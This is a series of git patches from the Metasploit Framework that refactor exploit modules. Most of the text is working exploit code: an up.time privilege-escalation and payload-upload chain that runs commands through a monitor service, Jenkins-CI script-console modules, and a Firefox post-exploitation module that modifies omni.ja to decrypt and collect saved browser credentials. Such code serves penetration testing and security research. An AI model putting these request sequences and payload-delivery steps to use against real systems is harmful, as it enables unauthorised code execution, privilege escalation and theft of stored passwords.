'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', + 'Cache-Control' => 'max-age=0', + 'Connection' => 'keep-alive', + 'Cookie' => "#{cookie_split[1]}; #{cookie_split[2]}", + 'Host' => "#{rhost}", + 'Referer' => "#{rhost}/main.php?page=Users&subPage=UserContainer", + 'User-Agent' => 'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0' + } + ) matchdata = res_priv.body.match(/UPTIME.CurrentUser.userId.*/) get_id = matchdata[0].gsub(/[^\d]/, '') print_status('Escalating privileges...') - # #####################Privilege escalation post#################################### + # Privilege escalation post res_priv_elev = send_request_cgi( 'method' => 'POST', 'uri' => '/main.php', - 'vars_get' => - { - 'section' => 'UserContainer', - 'subsection' => 'edit', - 'id' => "#{get_id}" - }, - 'headers' => - { - 'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', - 'Cache-Control' => 'max-age=0', - 'Connection' => 'keep-alive', - 'Cookie' => "#{cookie_split[1]}; #{cookie_split[2]}", - 'Host' => "#{rhost}", - 'Referer' => "#{rhost}/main.php?page=Users&subPage=UserContainer", - 'User-Agent' => 'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0' - }, - 'vars_post' => - { - 'operation' => 'submit', - 'disableEditOfUsernameRoleGroup' => 'false', - 'username' => datastore['USERNAME'], - 'password' => datastore['PASSWORD'], - 'passwordConfirm' => datastore['PASSWORD'], - 'firstname' => rand_text_alpha(10), - 'lastname' => rand_text_alpha(10), - 'location' => '', - 'emailaddress' => '', - 'emailtimeperiodid' => '1', - 'phonenumber' => '', - 'phonenumbertimeperiodid' => '1', - 'windowshost' => '', - 'windowsworkgroup' => '', - 'windowspopuptimeperiodid' => '1', - 'landingpage' => 'MyPortal', - 'isonvacation' => '0', - 'receivealerts' => '0', - 'activexgraphs' => '0', - 'newuser' => 'on', - 'newuser' => '1', - 'userroleid' => '1', - 'usergroupid[]' => '1' - }) - # #################################Refresing perms.################################################################### + 'vars_get' => { + 'section' => 'UserContainer', + 'subsection' => 'edit', + 'id' => "#{get_id}" + }, + 'headers' => { + 'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', + 'Cache-Control' => 'max-age=0', + 'Connection' => 'keep-alive', + 'Cookie' => "#{cookie_split[1]}; #{cookie_split[2]}", + 'Host' => "#{rhost}", + 'Referer' => "#{rhost}/main.php?page=Users&subPage=UserContainer", + 'User-Agent' => 'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0' + }, + 'vars_post' => { + 'operation' => 'submit', + 'disableEditOfUsernameRoleGroup' => 'false', + 'username' => datastore['USERNAME'], + 'password' => datastore['PASSWORD'], + 'passwordConfirm' => datastore['PASSWORD'], + 'firstname' => rand_text_alpha(10), + 'lastname' => rand_text_alpha(10), + 'location' => '', + 'emailaddress' => '', + 'emailtimeperiodid' => '1', + 'phonenumber' => '', + 'phonenumbertimeperiodid' => '1', + 'windowshost' => '', + 'windowsworkgroup' => '', + 'windowspopuptimeperiodid' => '1', + 'landingpage' => 'MyPortal', + 'isonvacation' => '0', + 'receivealerts' => '0', + 'activexgraphs' => '0', + 'newuser' => 'on', + 'newuser' => '1', + 'userroleid' => '1', + 'usergroupid[]' => '1' + } + ) + + # Refresing perms print_status('Refresing perms...') res_priv = send_request_cgi( 'method' => 'GET', 'uri' => '/index.php?loggedout', - 'headers' => - { + 'headers' => { 'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Cache-Control' => 'max-age=0', 'Connection' => 'keep-alive', @@ -191,12 +188,11 @@ class Metasploit4 < Msf::Exploit::Remote res_auth = send_request_cgi( 'method' => 'POST', 'uri' => '/index.php', - 'vars_post' => - { - 'username' => datastore['USERNAME'], - 'password' => datastore['PASSWORD'] - - }) + 'vars_post' => { + 'username' => datastore['USERNAME'], + 'password' => datastore['PASSWORD'] + } + ) if res_auth && res_auth.get_cookies =~ /login=true/ cookie = Regexp.last_match(1) cookie_split = res_auth.get_cookies.split(';') @@ -204,223 +200,138 @@ class Metasploit4 < Msf::Exploit::Remote print_good('Priv. Escalation success') end - # #########CREATING EXEC Service################################################# - phpfile_name = rand_text_alpha(10) - # #########CREATING Linux EXEC Service################################################# - if res_auth.headers['Server'] =~ /Unix/ - print_status('Creating Linux Monitor Code exec...') + # CREATING EXEC Service + + def create_exec_service(cookie_split, rhost, _uploadpath, _phppath, _phpfile_name, cmd, cmdargs) res_service = send_request_cgi( 'method' => 'POST', 'uri' => '/main.php', - 'headers' => - { - 'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', - 'Cache-Control' => 'max-age=0', - 'Connection' => 'keep-alive', - 'Cookie' => "#{cookie_split[1]}; #{cookie_split[2]}", - 'Host' => "#{rhost}", - 'Referer' => "#{rhost}/index.php", - 'User-Agent' => 'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0' - }, - 'vars_get' => - { - 'section' => 'ERDCInstance', - 'subsection' => 'add' - }, - 'vars_post' => - { - 'initialERDCId' => '20', - 'target' => '1', - 'targetType' => 'systemList', - 'systemList' => '1', - 'serviceGroupList' => '-10', - 'initialMode' => 'standard', - 'erdcName' => 'Exploit', - 'erdcInitialName' => '', - 'erdcDescription' => 'Exploit', - 'hostButton' => 'system', - 'erdc_id' => '20', - 'forceReload' => '0', - 'operation' => 'standard', - 'erdc_instance_id' => '', - 'label_[184]' => 'Script Name', - 'value_[184]' => phppath, - 'id_[184]' => 'process', - 'name_[process]' => '184', - 'units_[184]' => '', - 'guiBasic_[184]' => '1', - 'inputType_[184]' => 'GUIString', - 'screenOrder_[184]' => '1', - 'parmType_[184]' => '1', - 'label_[185]' => 'Arguments', - 'value_[185]' => uploadpath + '/' + phpfile_name + '.txt', - 'id_[185]' => 'args', - 'name_[args]' => '185', - 'units_[185]' => '', - 'guiBasic_[185]' => '1', - 'inputType_[185]' => 'GUIString', - 'screenOrder_[185]' => '2', - 'parmType_[185]' => '1', - 'label_[187]' => 'Output', - 'can_retain_[187]' => 'false', - 'comparisonWarn_[187]' => '-1', - 'comparison_[187]' => '-1', - 'id_[187]' => 'value_critical_output', - 'name_[output]' => '187', - 'units_[187]' => '', - 'guiBasic_[187]' => '1', - 'inputType_[187]' => 'GUIString', - 'screenOrder_[187]' => '4', - 'parmType_[187]' => '2', - 'label_[189]' => 'Response time', - 'can_retain_[189]' => 'false', - 'comparisonWarn_[189]' => '-1', - 'comparison_[189]' => '-1', - 'id_[189]' => 'value_critical_timer', - 'name_[timer]' => '189', - 'units_[189]' => 'ms', - 'guiBasic_[189]' => '0', - 'inputType_[189]' => 'GUIInteger', - 'screenOrder_[189]' => '6', - 'parmType_[189]' => '2', - 'timing_[erdc_instance_monitored]' => '1', - 'timing_[timeout]' => '60', - 'timing_[check_interval]' => '10', - 'timing_[recheck_interval]' => '1', - 'timing_[max_rechecks]' => '3', - 'alerting_[notification]' => '1', - 'alerting_[alert_interval]' => '120', - 'alerting_[alert_on_critical]' => '1', - 'alerting_[alert_on_warning]' => '1', - 'alerting_[alert_on_recovery]' => '1', - 'alerting_[alert_on_unknown]' => '1', - 'time_period_id' => '1', - 'pageFinish' => 'Finish', - 'pageContinue' => 'Continue...', - 'isWizard' => '1', - 'wizardPage' => '2', - 'wizardNumPages' => '2', - 'wizardTask' => 'pageFinish', - 'visitedPage[1]' => '1', - 'visitedPage[2]' => '1' - }) - - else - # #########CREATING Windows EXEC Service################################################# - print_status('Creating Windows Monitor Code exec...') - res_service = send_request_cgi('method' => 'POST', - 'uri' => '/main.php', - 'headers' => { - 'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', - 'Cache-Control' => 'max-age=0', - 'Connection' => 'keep-alive', - 'Cookie' => "#{cookie_split[1]}; #{cookie_split[2]}", - 'Host' => "#{rhost}", - 'Referer' => "#{rhost}/index.php", - 'User-Agent' => 'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0' - }, - 'vars_get' => { - 'section' => 'ERDCInstance', - 'subsection' => 'add' - }, - 'vars_post' => { - 'initialERDCId' => '20', - 'target' => '1', - 'targetType' => 'systemList', - 'systemList' => '1', - 'serviceGroupList' => '-10', - 'initialMode' => 'standard', - 'erdcName' => 'Exploit', - 'erdcInitialName' => '', - 'erdcDescription' => 'Exploit', - 'hostButton' => 'system', - 'erdc_id' => '20', - 'forceReload' => '0', - 'operation' => 'standard', - 'erdc_instance_id' => '', - 'label_[184]' => 'Script Name', - 'value_[184]' => 'c:\windows\system32\cmd.exe', - 'id_[184]' => 'process', - 'name_[process]' => '184', - 'units_[184]' => '', - 'guiBasic_[184]' => '1', - 'inputType_[184]' => 'GUIString', - 'screenOrder_[184]' => '1', - 'parmType_[184]' => '1', - 'label_[185]' => 'Arguments', - 'value_[185]' => "/K \"\"#{phppath}\"" + ' ' + "\"#{uploadpath}\\#{phpfile_name}.txt""\"\" ", - 'id_[185]' => 'args', - 'name_[args]' => '185', - 'units_[185]' => '', - 'guiBasic_[185]' => '1', - 'inputType_[185]' => 'GUIString', - 'screenOrder_[185]' => '2', - 'parmType_[185]' => '1', - 'label_[187]' => 'Output', - 'can_retain_[187]' => 'false', - 'comparisonWarn_[187]' => '-1', - 'comparison_[187]' => '-1', - 'id_[187]' => 'value_critical_output', - 'name_[output]' => '187', - 'units_[187]' => '', - 'guiBasic_[187]' => '1', - 'inputType_[187]' => 'GUIString', - 'screenOrder_[187]' => '4', - 'parmType_[187]' => '2', - 'label_[189]' => 'Response time', - 'can_retain_[189]' => 'false', - 'comparisonWarn_[189]' => '-1', - 'comparison_[189]' => '-1', - 'id_[189]' => 'value_critical_timer', - 'name_[timer]' => '189', - 'units_[189]' => 'ms', - 'guiBasic_[189]' => '0', - 'inputType_[189]' => 'GUIInteger', - 'screenOrder_[189]' => '6', - 'parmType_[189]' => '2', - 'timing_[erdc_instance_monitored]' => '1', - 'timing_[timeout]' => '60', - 'timing_[check_interval]' => '10', - 'timing_[recheck_interval]' => '1', - 'timing_[max_rechecks]' => '3', - 'alerting_[notification]' => '1', - 'alerting_[alert_interval]' => '120', - 'alerting_[alert_on_critical]' => '1', - 'alerting_[alert_on_warning]' => '1', - 'alerting_[alert_on_recovery]' => '1', - 'alerting_[alert_on_unknown]' => '1', - 'time_period_id' => '1', - 'pageFinish' => 'Finish', - 'pageContinue' => 'Continue...', - 'isWizard' => '1', - 'wizardPage' => '2', - 'wizardNumPages' => '2', - 'wizardTask' => 'pageFinish', - 'visitedPage[1]' => '1', - 'visitedPage[2]' => '1' - }) + 'headers' => { + 'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', + 'Cache-Control' => 'max-age=0', + 'Connection' => 'keep-alive', + 'Cookie' => "#{cookie_split[1]}; #{cookie_split[2]}", + 'Host' => "#{rhost}", + 'Referer' => "#{rhost}/index.php", + 'User-Agent' => 'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0' + }, + 'vars_get' => { + 'section' => 'ERDCInstance', + 'subsection' => 'add' + }, + 'vars_post' => { + 'initialERDCId' => '20', + 'target' => '1', + 'targetType' => 'systemList', + 'systemList' => '1', + 'serviceGroupList' => '-10', + 'initialMode' => 'standard', + 'erdcName' => 'Exploit', + 'erdcInitialName' => '', + 'erdcDescription' => 'Exploit', + 'hostButton' => 'system', + 'erdc_id' => '20', + 'forceReload' => '0', + 'operation' => 'standard', + 'erdc_instance_id' => '', + 'label_[184]' => 'Script Name', + 'value_[184]' => cmd, + 'id_[184]' => 'process', + 'name_[process]' => '184', + 'units_[184]' => '', + 'guiBasic_[184]' => '1', + 'inputType_[184]' => 'GUIString', + 'screenOrder_[184]' => '1', + 'parmType_[184]' => '1', + 'label_[185]' => 'Arguments', + 'value_[185]' => cmdargs, + 'id_[185]' => 'args', + 'name_[args]' => '185', + 'units_[185]' => '', + 'guiBasic_[185]' => '1', + 'inputType_[185]' => 'GUIString', + 'screenOrder_[185]' => '2', + 'parmType_[185]' => '1', + 'label_[187]' => 'Output', + 'can_retain_[187]' => 'false', + 'comparisonWarn_[187]' => '-1', + 'comparison_[187]' => '-1', + 'id_[187]' => 'value_critical_output', + 'name_[output]' => '187', + 'units_[187]' => '', + 'guiBasic_[187]' => '1', + 'inputType_[187]' => 'GUIString', + 'screenOrder_[187]' => '4', + 'parmType_[187]' => '2', + 'label_[189]' => 'Response time', + 'can_retain_[189]' => 'false', + 'comparisonWarn_[189]' => '-1', + 'comparison_[189]' => '-1', + 'id_[189]' => 'value_critical_timer', + 'name_[timer]' => '189', + 'units_[189]' => 'ms', + 'guiBasic_[189]' => '0', + 'inputType_[189]' => 'GUIInteger', + 'screenOrder_[189]' => '6', + 'parmType_[189]' => '2', + 'timing_[erdc_instance_monitored]' => '1', + 'timing_[timeout]' => '60', + 'timing_[check_interval]' => '10', + 'timing_[recheck_interval]' => '1', + 'timing_[max_rechecks]' => '3', + 'alerting_[notification]' => '1', + 'alerting_[alert_interval]' => '120', + 'alerting_[alert_on_critical]' => '1', + 'alerting_[alert_on_warning]' => '1', + 'alerting_[alert_on_recovery]' => '1', + 'alerting_[alert_on_unknown]' => '1', + 'time_period_id' => '1', + 'pageFinish' => 'Finish', + 'pageContinue' => 'Continue...', + 'isWizard' => '1', + 'wizardPage' => '2', + 'wizardNumPages' => '2', + 'wizardTask' => 'pageFinish', + 'visitedPage[1]' => '1', + 'visitedPage[2]' => '1' + }) end - # #######Upload file############################################### - print_status('Uploading file...') - res_upload = send_request_cgi('method' => 'POST', - 'uri' => '/wizards/post2file.php', - 'vars_post' => { - 'file_name' => phpfile_name + '.txt', - 'script' => payload.encoded - }) + # CREATING Linux EXEC Service + if res_auth.headers['Server'] =~ /Unix/ + print_status('Creating Linux Monitor Code exec...') + create_exec_service(cookie_split, rhost, uploadpath, phppath, phpfile_name, cmd, cmdargs) - print_status('Cheking Uploaded file...') - res_up_check = send_request_cgi('method' => 'GET', - 'uri' => '/wizards' + '/' + phpfile_name + '.txt', - 'headers' => { - 'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', - 'Cache-Control' => 'max-age=0', - 'Connection' => 'keep-alive', - 'Host' => "#{rhost}", - 'Referer' => "#{rhost}/index.php", - 'User-Agent' => 'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0' - }) + else + # CREATING Windows EXEC Service# + print_status('Creating Windows Monitor Code exec...') + create_exec_service(cookie_split, rhost, uploadpath, phppath, phpfile_name, cmd, cmdargs) + end + + # Upload file + print_status('Uploading file...') + send_request_cgi( + 'method' => 'POST', + 'uri' => '/wizards/post2file.php', + 'vars_post' => { + 'file_name' => phpfile_name + '.txt', + 'script' => payload.encoded + } + ) + + print_status('Checking Uploaded file...') + res_up_check = send_request_cgi( + 'method' => 'GET', + 'uri' => '/wizards' + '/' + phpfile_name + '.txt', + 'headers' => { + 'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', + 'Cache-Control' => 'max-age=0', + 'Connection' => 'keep-alive', + 'Host' => "#{rhost}", + 'Referer' => "#{rhost}/index.php", + 'User-Agent' => 'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0' + } + ) if res_up_check.code == 200 print_good("File found: #{phpfile_name}") @@ -428,54 +339,55 @@ class Metasploit4 < Msf::Exploit::Remote print_error('File not found') end - # ####Get Monitor ID################################################################## + # #Get Monitor ID print_status('Fetching Monitor ID...') - res_mon_id = send_request_cgi('method' => 'GET', - 'uri' => '/ajax/jsonQuery.php', - 'vars_get' => { - 'query' => 'GET_SERVICE_PAGE_ERDC_LIST', - 'iDisplayStart' => '0', - 'iDisplayLength' => '10', - 'sSearch' => 'Exploit' - }, - 'headers' => { - 'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', - 'Cache-Control' => 'max-age=0', - 'Connection' => 'keep-alive', - 'Cookie' => "#{cookie_split[1]}; #{cookie_split[2]}", - 'Host' => "#{rhost}", - 'Referer' => "#{rhost}/index.php", - 'User-Agent' => 'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0' - }) + res_mon_id = send_request_cgi( + 'method' => 'GET', + 'uri' => '/ajax/jsonQuery.php', + 'vars_get' => { + 'query' => 'GET_SERVICE_PAGE_ERDC_LIST', + 'iDisplayStart' => '0', + 'iDisplayLength' => '10', + 'sSearch' => 'Exploit' + }, + 'headers' => { + 'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', + 'Cache-Control' => 'max-age=0', + 'Connection' => 'keep-alive', + 'Cookie' => "#{cookie_split[1]}; #{cookie_split[2]}", + 'Host' => "#{rhost}", + 'Referer' => "#{rhost}/index.php", + 'User-Agent' => 'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0' + } + ) matchdata = res_mon_id.body.match(/id=?[^>]*>/) mon_get_id = matchdata[0].gsub(/[^\d]/, '') print_good("Monitor id aquired:#{mon_get_id}") - # ###Executing monitor#################################################################### - res_exec_mon = send_request_cgi('method' => 'POST', - 'uri' => '/main.php', - 'headers' => { - 'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', - 'Cache-Control' => 'max-age=0', - 'Connection' => 'keep-alive', - 'Cookie' => "#{cookie_split[1]}; #{cookie_split[2]}", - 'Host' => "#{rhost}", - 'Referer' => "#{rhost}/index.php", - 'User-Agent' => 'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0' - }, - 'vars_post' => { - 'section' => 'RunERDCInstance', - 'subsection' => 'view', - 'id' => mon_get_id, - 'name' => 'Exploit' - - }) - ###################################################################################### + # Executing monitor + send_request_cgi( + 'method' => 'POST', + 'uri' => '/main.php', + 'headers' => { + 'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', + 'Cache-Control' => 'max-age=0', + 'Connection' => 'keep-alive', + 'Cookie' => "#{cookie_split[1]}; #{cookie_split[2]}", + 'Host' => "#{rhost}", + 'Referer' => "#{rhost}/index.php", + 'User-Agent' => 'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0' + }, + 'vars_post' => { + 'section' => 'RunERDCInstance', + 'subsection' => 'view', + 'id' => mon_get_id, + 'name' => 'Exploit' + } + ) else print_error("#{rhost}:#{rport} - Cookie not found") - return nil end end end From 04d622b69b17ca3d2ae360f92c18533634ba10e2 Mon Sep 17 00:00:00 2001 From: HD Moore <hd_moore@rapid7.com> Date: Fri, 4 Sep 2015 10:25:51 -0700 Subject: [PATCH 0552/2172] Cleanup Jenkins-CI module titles and option descriptions --- modules/auxiliary/scanner/http/jenkins_command.rb | 7 ++++--- modules/auxiliary/scanner/http/jenkins_enum.rb | 6 +++--- modules/exploits/multi/http/jenkins_script_console.rb | 6 +++--- 3 files changed, 10 insertions(+), 9 deletions(-) diff --git a/modules/auxiliary/scanner/http/jenkins_command.rb b/modules/auxiliary/scanner/http/jenkins_command.rb index 4a913e79df..f5e829c762 100644 --- a/modules/auxiliary/scanner/http/jenkins_command.rb +++ b/modules/auxiliary/scanner/http/jenkins_command.rb @@ -15,7 +15,7 @@ class Metasploit3 < Msf::Auxiliary def initialize(info = {}) super(update_info(info, - 'Name' => 'Jenkins RCE (via Groovy Script)', + 'Name' => 'Jenkins-CI Unauthenticated Script-Console Scanner', 'Description' => %q{ This module takes advantage of the lack of password on Jenkins web applications and automates the command execution aspect (via groovy script). @@ -27,13 +27,14 @@ class Metasploit3 < Msf::Auxiliary ], 'References' => [ ['URL', 'https://www.pentestgeek.com/penetration-testing/hacking-jenkins-servers-with-no-password/'] - ], + ['URL', 'https://wiki.jenkins-ci.org/display/JENKINS/Jenkins+Script+Console'], + ], 'License' => MSF_LICENSE )) register_options( [ - OptString.new('TARGETURI', [ true, "Path to Jenkins instance", "/jenkins/script"]), + OptString.new('TARGETURI', [ true, 'The path to the Jenkins-CI application', '/jenkins/' ]), OptString.new('COMMAND', [true, 'Command to run in application', 'whoami']), ], self.class) deregister_options('VHOST') diff --git a/modules/auxiliary/scanner/http/jenkins_enum.rb b/modules/auxiliary/scanner/http/jenkins_enum.rb index 8a5a866338..22318191ab 100644 --- a/modules/auxiliary/scanner/http/jenkins_enum.rb +++ b/modules/auxiliary/scanner/http/jenkins_enum.rb @@ -19,9 +19,9 @@ class Metasploit3 < Msf::Auxiliary def initialize(info = {}) super(update_info(info, - 'Name' => 'Jenkins Enumeration', + 'Name' => 'Jenkins-CI Enumeration', 'Description' => %q{ - This module enumerates a remote Jenkins installation in an unauthenticated manner, including + This module enumerates a remote Jenkins-CI installation in an unauthenticated manner, including host operating system and and Jenkins installation details. }, 'Author' => 'Jeff McCutchan', @@ -30,7 +30,7 @@ class Metasploit3 < Msf::Auxiliary register_options( [ - OptString.new('TARGETURI', [ true, "Path to Jenkins instance", "/jenkins/"]), + OptString.new('TARGETURI', [ true, 'The path to the Jenkins-CI application', '/jenkins/' ]) ], self.class) end diff --git a/modules/exploits/multi/http/jenkins_script_console.rb b/modules/exploits/multi/http/jenkins_script_console.rb index 5873e2705b..2806cd0ee1 100644 --- a/modules/exploits/multi/http/jenkins_script_console.rb +++ b/modules/exploits/multi/http/jenkins_script_console.rb @@ -13,9 +13,9 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Jenkins Script-Console Java Execution', + 'Name' => 'Jenkins-CI Script-Console Java Execution', 'Description' => %q{ - This module uses the Jenkins Groovy script console to execute + This module uses the Jenkins-CI Groovy script console to execute OS commands using Java. }, 'Author' => @@ -46,7 +46,7 @@ class Metasploit3 < Msf::Exploit::Remote [ OptString.new('USERNAME', [ false, 'The username to authenticate as', '' ]), OptString.new('PASSWORD', [ false, 'The password for the specified username', '' ]), - OptString.new('TARGETURI', [ true, 'The path to jenkins', '/jenkins/' ]), + OptString.new('TARGETURI', [ true, 'The path to the Jenkins-CI application', '/jenkins/' ]) ], self.class) end From 5063acac3c1acefff412ab253b3a7e12d69b3bb2 Mon Sep 17 00:00:00 2001 From: "Ewerson Guimaraes (Crash)" <crash@dclabs.com.br> Date: Fri, 4 Sep 2015 19:43:49 +0200 Subject: [PATCH 0553/2172] Poorly designed argument fixed Poorly designed argument fixed --- modules/exploits/multi/http/uptime_code_exec.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/uptime_code_exec.rb b/modules/exploits/multi/http/uptime_code_exec.rb index b0070faa59..3a3e8ed363 100644 --- a/modules/exploits/multi/http/uptime_code_exec.rb +++ b/modules/exploits/multi/http/uptime_code_exec.rb @@ -202,7 +202,8 @@ class Metasploit4 < Msf::Exploit::Remote # CREATING EXEC Service - def create_exec_service(cookie_split, rhost, _uploadpath, _phppath, _phpfile_name, cmd, cmdargs) + def create_exec_service(*args) + cookie_split, rhost, _uploadpath, _phppath, _phpfile_name, cmd, cmdargs = *args res_service = send_request_cgi( 'method' => 'POST', 'uri' => '/main.php', From ac49c80367ec79f33abfd3f3b1eb30ffadb9576a Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Fri, 4 Sep 2015 12:46:21 -0500 Subject: [PATCH 0554/2172] Do minor code cleanup --- modules/post/multi/gather/firefox_creds.rb | 234 +++++++++++---------- 1 file changed, 119 insertions(+), 115 deletions(-) diff --git a/modules/post/multi/gather/firefox_creds.rb b/modules/post/multi/gather/firefox_creds.rb index fb7b7ca109..e6dd69900c 100644 --- a/modules/post/multi/gather/firefox_creds.rb +++ b/modules/post/multi/gather/firefox_creds.rb @@ -89,89 +89,7 @@ class Metasploit3 < Msf::Post end if datastore['DECRYPT'] - if !datastore['DISCLAIMER'] - decrypt_disclaimer - return - end - - omnija = nil # non meterpreter download - org_file = 'omni.ja' # key file - new_file = Rex::Text::rand_text_alpha(5 + rand(3)) + ".ja" - temp_file = "orgomni.ja" # backup of key file #Rex::Text::rand_text_alpha(5 + rand(3)) + ".ja" - - # Sets @paths - return unless decrypt_get_env - - # Check target for the necessary files - if session.type == "meterpreter" - if session.fs.file.exists?(@paths['ff'] + temp_file) and !session.fs.file.exists?(@paths['ff'] + org_file) - print_error("Detected #{temp_file} without #{org_file}. This is a good sign of previous DECRYPT attack gone wrong.") - return - elsif session.fs.file.exists?(@paths['ff'] + temp_file) - decrypt_file_stats(temp_file, org_file, @paths['ff']) - if !datastore['RECOVER'] - print_warning("If you wish to continue by trying to recover, set the advanced option, RECOVER, to TRUE.") - print_line - return - else - return unless decrypt_recover_omni(temp_file, org_file, @paths['ff']) - end - elsif !session.fs.file.exists?(@paths['ff'] + org_file) - print_error("Could not download #{org_file}. File does not exist.") - return - end - end # session.type == "meterpreter" - - session.type == "meterpreter" ? (size = "(%s MB)" % "%0.2f" % (session.fs.file.stat(@paths['ff'] + org_file).size / 1048576.0)) : (size = "") - tmp = Dir::tmpdir + "/" + new_file # Cross platform local tempdir, "/" should work on Windows too - print_status("Downloading #{@paths['ff'] + org_file} to: #{tmp} %s" % size) - - if session.type == "meterpreter" # If meterpreter is an option, lets use it! - session.fs.file.download_file(tmp, @paths['ff'] + org_file) - else # Fall back shells - omnija = read_file(@paths['ff'] + org_file) - if omnija.nil? or omnija.empty? or omnija =~ /No such file/i - print_error("Could not download: #{@paths['ff'] + org_file}") - print_error("Tip: Try swtiching to a meterpreter shell if possible (as its more reliable/stable when downloading)") if session.type != "meterpreter" - return - end - - print_status("Saving #{org_file} to: #{tmp}") - file_local_write(tmp, omnija) - end - - res = nil - print_status("Injecting into: #{tmp}") - begin - # Automatically commits the changes made to the zip archive when the block terminates - Zip::File.open(tmp) do |zip_file| - res = decrypt_modify_omnija(zip_file) - end - rescue Zip::Error => e - print_error("Error modifying: #{tmp}") - return - end - if res - vprint_good("Successfully modified: #{tmp}") - else - print_error("Failed to inject") - return - end - - print_status("Uploading #{tmp} to: #{@paths['ff'] + new_file}") - print_warning("This may take some time...") if @platform =~ /unix|osx/ - if session.type == "meterpreter" - session.fs.file.upload_file(@paths['ff'] + new_file, tmp) - else - if !upload_file(@paths['ff'] + new_file, tmp) - print_error("Could not upload: #{tmp}") - return - end - end - - return if !decrypt_trigger_decrypt(org_file, new_file, temp_file) - - decrypt_download_creds + do_decrypt else # Non DECRYPT paths = [] paths = enum_users @@ -183,9 +101,94 @@ class Metasploit3 < Msf::Post download_loot(paths.flatten) end - print_line end + def do_decrypt + unless datastore['DISCLAIMER'] + decrypt_disclaimer + return + end + + omnija = nil # non meterpreter download + org_file = 'omni.ja' # key file + new_file = Rex::Text::rand_text_alpha(5 + rand(3)) + ".ja" + temp_file = "orgomni.ja" # backup of key file + + # Sets @paths + return unless decrypt_get_env + + # Check target for the necessary files + if session.type == "meterpreter" + if session.fs.file.exists?(@paths['ff'] + temp_file) && !session.fs.file.exists?(@paths['ff'] + org_file) + print_error("Detected #{temp_file} without #{org_file}. This is a good sign of previous DECRYPT attack gone wrong.") + return + elsif session.fs.file.exists?(@paths['ff'] + temp_file) + decrypt_file_stats(temp_file, org_file, @paths['ff']) + if datastore['RECOVER'] + return unless decrypt_recover_omni(temp_file, org_file) + else + print_warning("If you wish to continue by trying to recover, set the advanced option, RECOVER, to TRUE.") + return + end + elsif !session.fs.file.exists?(@paths['ff'] + org_file) + print_error("Could not download #{org_file}. File does not exist.") + return + end + end # session.type == "meterpreter" + + session.type == "meterpreter" ? (size = "(%s MB)" % "%0.2f" % (session.fs.file.stat(@paths['ff'] + org_file).size / 1048576.0)) : (size = "") + tmp = Dir::tmpdir + "/" + new_file # Cross platform local tempdir, "/" should work on Windows too + print_status("Downloading #{@paths['ff'] + org_file} to: #{tmp} %s" % size) + + if session.type == "meterpreter" # If meterpreter is an option, lets use it! + session.fs.file.download_file(tmp, @paths['ff'] + org_file) + else # Fall back shells + omnija = read_file(@paths['ff'] + org_file) + if omnija.nil? or omnija.empty? or omnija =~ /No such file/i + print_error("Could not download: #{@paths['ff'] + org_file}") + print_error("Tip: Try swtiching to a meterpreter shell if possible (as its more reliable/stable when downloading)") if session.type != "meterpreter" + return + end + + print_status("Saving #{org_file} to: #{tmp}") + file_local_write(tmp, omnija) + end + + res = nil + print_status("Injecting into: #{tmp}") + begin + # Automatically commits the changes made to the zip archive when the block terminates + Zip::File.open(tmp) do |zip_file| + res = decrypt_modify_omnija(zip_file) + end + rescue Zip::Error => e + print_error("Error modifying: #{tmp}") + return + end + + if res + vprint_good("Successfully modified: #{tmp}") + else + print_error("Failed to inject") + return + end + + print_status("Uploading #{tmp} to: #{@paths['ff'] + new_file}") + print_warning("This may take some time...") if @platform =~ /unix|osx/ + + if session.type == "meterpreter" + session.fs.file.upload_file(@paths['ff'] + new_file, tmp) + else + unless upload_file(@paths['ff'] + new_file, tmp) + print_error("Could not upload: #{tmp}") + return + end + end + + return unless decrypt_trigger_decrypt(org_file, new_file, temp_file) + + decrypt_download_creds + end def decrypt_disclaimer print_line @@ -207,22 +210,21 @@ class Metasploit3 < Msf::Post end - def decrypt_recover_omni(temp_file, org_file, path) - #print_status("Deleting: #{@paths['ff'] + temp_file} (Possible backup)") - #file_rm(@paths['ff'] + temp_file) + def decrypt_recover_omni(temp_file, org_file) print_status("Restoring: #{@paths['ff'] + temp_file} (Possible backup)") file_rm(@paths['ff'] + org_file) 